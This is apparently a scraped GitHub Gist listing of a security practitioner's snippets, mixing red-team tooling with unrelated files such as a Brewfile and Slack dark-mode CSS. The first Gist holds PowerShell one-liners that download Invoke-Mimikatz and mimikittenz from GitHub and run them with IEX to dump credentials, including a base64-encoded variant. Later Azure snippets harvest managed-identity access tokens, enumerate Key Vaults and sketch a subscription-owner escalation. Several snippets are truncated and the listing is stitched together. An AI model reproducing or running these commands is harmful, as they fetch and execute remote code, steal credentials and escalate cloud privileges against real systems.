Skip to content

Instantly share code, notes, and snippets.

@dansecops
dansecops / Quick-Mimikatz
Created February 4, 2018 13:42 — forked from gfoss/Quick-Mimikatz
Quick Mimikatz
*NOTE - These pull from public GitHub Repos that are not under my control. Make sure you trust the content (or better yet, make your own fork) prior to using!*
#mimikatz
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); $m = Invoke-Mimikatz -DumpCreds; $m
#encoded-mimikatz
powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AUABvAHcAZQByAFMAaABlAGwAbABNAGEAZgBpAGEALwBQAG8AdwBlAHIAUwBwAGwAbwBpAHQALwBtAGEAcwB0AGUAcgAvAEUAeABmAGkAbAB0AHIAYQB0AGkAbwBuAC8ASQBuAHYAbwBrAGUALQBNAGkAbQBpAGsAYQB0AHoALgBwAHMAMQAnACkAOwAgACQAbQAgAD0AIABJAG4AdgBvAGsAZQAtAE0AaQBtAGkAawBhAHQAegAgAC0ARAB1AG0AcABDAHIAZQBkAHMAOwAgACQAbQAKAA==
#mimikittenz
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/putterpanda/mimikittenz/master
tap "homebrew/bundle"
tap "homebrew/cask"
tap "homebrew/cask-fonts"
tap "homebrew/core"
tap "homebrew/services"
tap "jlhonora/lsusb"
brew "ack"
brew "gdbm"
brew "openssl"
brew "sqlite"
@dansecops
dansecops / slack-dark-mode.css
Created March 18, 2019 14:41
Slack Dark Mode CSS
body { background: #222; color: #e6e6e6; }
a { color: #949494; }
a:link, a:visited { color: #949494; }
a:hover, a:active, a:focus { color: #c7c7c7; }
hr { border-bottom: 1px solid #424242; border-top: 1px solid #222; }
@dansecops
dansecops / black.css
Created April 30, 2019 15:31
Slack Dark Mode
body { background: #222; color: #e6e6e6; }
a { color: #949494; }
a:link, a:visited { color: #949494; }
a:hover, a:active, a:focus { color: #c7c7c7; }
hr { border-bottom: 1px solid #424242; border-top: 1px solid #222; }
@dansecops
dansecops / slack-dark.css
Last active June 11, 2019 17:59
Slack Dark Mode css
body { background: #222; color: #e6e6e6; }
a { color: #949494; }
a:link, a:visited { color: #949494; }
a:hover, a:active, a:focus { color: #c7c7c7; }
hr { border-bottom: 1px solid #424242; border-top: 1px solid #222; }
@dansecops
dansecops / service-principal-connect.ps1
Created August 10, 2020 14:37
Az-Connect using Service Principal
$azureApplicationId ="<app registration ID>"
$azureTenantId= "<tenant ID>"
$secret = "<secret>"
$azureSecret = ConvertTo-SecureString "$secret" -AsPlainText -Force
$psCred = New-Object System.Management.Automation.PSCredential($azureApplicationId , $azureSecret)
Clear-AzContext -Force
Connect-AzAccount -Credential $psCred -TenantId $azureTenantId -ServicePrincipal
#Somewhat stolen from PowerZure Get-AzureKeyVaultContent and Show-AzureKeyVaultContent , thanks hausec!
#reimplemented by Flangvik to run in a single "Azure PowerShell" Agent job, inside an DevOps Pipeline
#Suppress warnings for clean output
Set-Item Env:\SuppressAzurePowerShellBreakingChangeWarnings "true"
#Get all Azure KeyVaults from currently selected/scoped subscription
#This connection is known as an "Service connection",and in terms of accessing Azure resources, uses either Service principal or Managed identity
$vaults = Get-AzKeyVault
@dansecops
dansecops / get_access_token_msi.ps1
Last active January 27, 2021 03:42
get_access_token_msi
$resourceURI = "https://management.azure.com"
$tokenAuthURI = $env:IDENTITY_ENDPOINT + "?resource=$resourceURI&api-version=2019-08-01"
$tokenResponse = Invoke-RestMethod -Method Get -Headers @{"X-IDENTITY-HEADER"="$env:IDENTITY_HEADER"} -Uri $tokenAuthURI
$tokenResponseJson = $tokenResponse | ConvertTo-Json
$tokenResponseJson | Out-File response.json
$accessToken = $tokenResponse.access_token | Out-File accesstoken.json
@dansecops
dansecops / MI-Owner-Escalation.ps1
Last active January 31, 2021 22:51 — forked from kfosaaen/MI-Owner-Escalation.ps1
A simple PoC for using an Azure Managed Identity to add a user as a Subscription Owner and Iterating through KeyVaults
# Code for monkeys
# __------__
# /~ ~\
# | //^\\//^\|
# /~~\ || o| |o|:~\
# | |6 ||___|_|_||:|
# \__. / o \/'
# | ( O )
# /~~~~\ `\ \ /
# | |~~\ | ) ~------~`\
@dansecops
dansecops / getresourcetoken.ps1
Created March 4, 2021 00:26
Get Resource Token from MSI Endpoint
function Get-AccessToken ($resourceURI) {
$tokenAuthURI = $env:IDENTITY_ENDPOINT + "?resource=$resourceURI&api-version=2019-08-01"
$response = Invoke-RestMethod -Method Get -Headers @{"X-IDENTITY-HEADER"="$env:IDENTITY_HEADER"} -Uri $tokenAuthURI
$armToken = $response.access_token
return $armToken
}
$managementURI = "https://management.azure.com"
$keyVaultURI = "https://vault.azure.net"